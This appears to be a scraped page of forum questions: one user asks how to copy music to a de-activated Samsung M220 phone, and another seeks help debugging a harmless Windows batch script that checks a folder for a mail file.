Asked by 16zzundel5 7 years ago  |  last reply 7 years ago


How do i put music on my samsung m220?

Hi all, i have a DE-ACTIVATED samsung m220. I have been wondering how to get music on it. I have the usb cable andthe drivers on my computer. When i try to put a file in the phone, it doesnt go in. I goto my computer, and click on the phone, and try to put a file in. How can i make it work????? THANKS!

Asked by sci4me 8 years ago


Help...?

I have figured out how to make an inbox setup, I just need help. I am not asking for someone to give me the whole answer, but rather help me figure out what the problem is. This isn't the program itself (obviously), just a section Please take a look:if %command% EQU 5 (chdir C:\chdir Documents and Settingschdir All Userschdir Desktopchdir %global.username%IF EXIST Mail.txt (type %global.username%echo You have mail!pause > nulset command=goto AccountPanel) ELSE (echo No new messages.pause > nulset command=goto AccountPanel)For some reason, I can only get it to say "You have no new messages" or "You have mail!" rather than the right one for the situation. Now, It keeps appearing and disapearing in a window whenever I select the number five. All users have the same exact Account Panel, so %global.username% just represents the user that is currently logged on using set globals. I am kindly asking for help, not for someone to do it for me. I know that batch isn't a real scripting language, but it is fun to work with, just... confusing. I am sure I have all of the directories correct. Please help!

Posted by DELETED_DELETED_DarthVader 9 years ago  |  last reply 6 years ago